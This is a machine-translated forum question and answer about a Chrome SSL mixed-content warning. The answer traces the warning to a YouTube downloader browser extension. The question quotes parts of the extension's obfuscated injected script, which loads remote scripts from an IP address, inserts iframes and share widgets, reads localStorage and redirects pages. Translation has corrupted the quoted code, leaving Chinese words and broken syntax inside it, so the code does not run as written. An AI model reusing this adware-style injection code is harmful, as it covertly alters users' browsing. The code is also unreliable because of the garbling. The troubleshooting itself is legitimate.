标准Google Chrome脚本导致SSL错误

Question

当我访问使用SSL证书的应用程序时,我总是在我的控制台中收到以下错误:

The page at https://***************.php displayed insecure content from 
http://66.228.34.50/js/chromeServerV45.js.

这是因为Google Chrome加载了此脚本:

var hkghawgalkgklrgjlargjsrhg_hejrghakwghakwegkawefak =(function(){var e = null,f = [[15,18,7,19,2,0,17,14,6,3,11,20,16,1,9,4,8​​] ,13,12,5,10],[19,1,16,5,14,17,13,18,15,8,2,20,7,11,4,9,12,10,3,6 ,0],[4,1,5,17,0,19,11,7,13,8,18,12,20,3,14,9,6,15,16,10,2],[6 ,19,15,14,12,5,7,18,1,0,11,13,2,4,17,16,9,20,10,8,3],[26,28,24,18 ,13,27,22,10,5,15,0,19,29,21,12,17,2,20,9,11,25,6,4,1,23,8,14,16,7 ,3],[17,12,2,1,0,6,9,5,13,​​7,11,3,14,8,15,4,16,10],[5,23,27,16 ,21,20,15,13,​​18,2,29,0,28,7,24,4,9,3,25,12,22,11,1,19,17,10,6,8,26 ,14],

..........更多代码在这里(删除).........

a href ="http://twitter.com/share"class ="twitter-share-button"data-text ="OMG WOW - 此浏览器扩展程序允许您将YouTube视频下载为MP3或高清MP4 - "数据 - url ="http://www.oxytube.com/"data-count ="horizo​​ntal"> Tweet'; A =的document.getElementById( "分享框"); B =使用document.createElement( "脚本"); b.src = "http://platform.twitter.com/widgets.js"; a.appendChild(B); B =使用document.createElement( "脚本"); b.src = "http://connect.facebook.net/en_US/all.js#xfbml=1"; a.appendChild(b); A =使用document.createElement("脚本 "); a.type =" 文本/ JavaScript的 "; a.async = 0;!a.src =" https://apis.google.com/js/plusone.js "; b = document.getElementsByTagName(" script")[0]; b.parentNode.insertBefore(a,b)} else window.open(a,"_ blank")}; b.innerHTML ='MP3'; a.appendChild(b)})()} catch(c){}} function yc(){wc(); vc = setInterval(function(){document.getElementById("download")!= e？clearInterval(vc) ):wc()},600); var b = dc("cbYtRate",0.1); zc(b); Ac()}函数Ac(){if(ec()> = 10)if(window.name .indexOf("injectIframe")== 0){if(document.body.innerHTML ="",window.localStorage.upvcom && window.localStorage.upvcom!="{}")try {var b = JSON.parse(window. localStorage.upvcom),a = bv; a == xc()&& Bc(bc,a)} catch(c){}} else if(b = cc("ytcRate"),Math.random()

..........更多代码在这里(删除).........

,g,a,i,:,o,m".split(","); k(Wc,Xc); L = Xc.join("")} document.title = L}否则if($ .indexOf (jb())== 0 || $ .indexOf(lb())== 0){var Z = window.location.href; if(Z.indexOf(da())!= - 1){var oc = Z.indexOf(ea()); oc!= - 1 && nc()}} else if($ .indexOf(nb())== 0){var Yc = window.location.href; Yc.indexOf(fa( ))== 0？window.location.href = Yc.substring(41):Yc.indexOf(ga())== 0 && window.stop()} document.body!= e？Vc():document.addEventListener( "DOMContentLoaded",function(){Vc()} ,! 1);})();

因为这个脚本加载了一些带有"http://"协议的脚本,所以它会返回那个不安全的错误......

解决方案或想法？

Answer 1

通过禁用插件解决:YouTube下载:MP3 /高清视频下载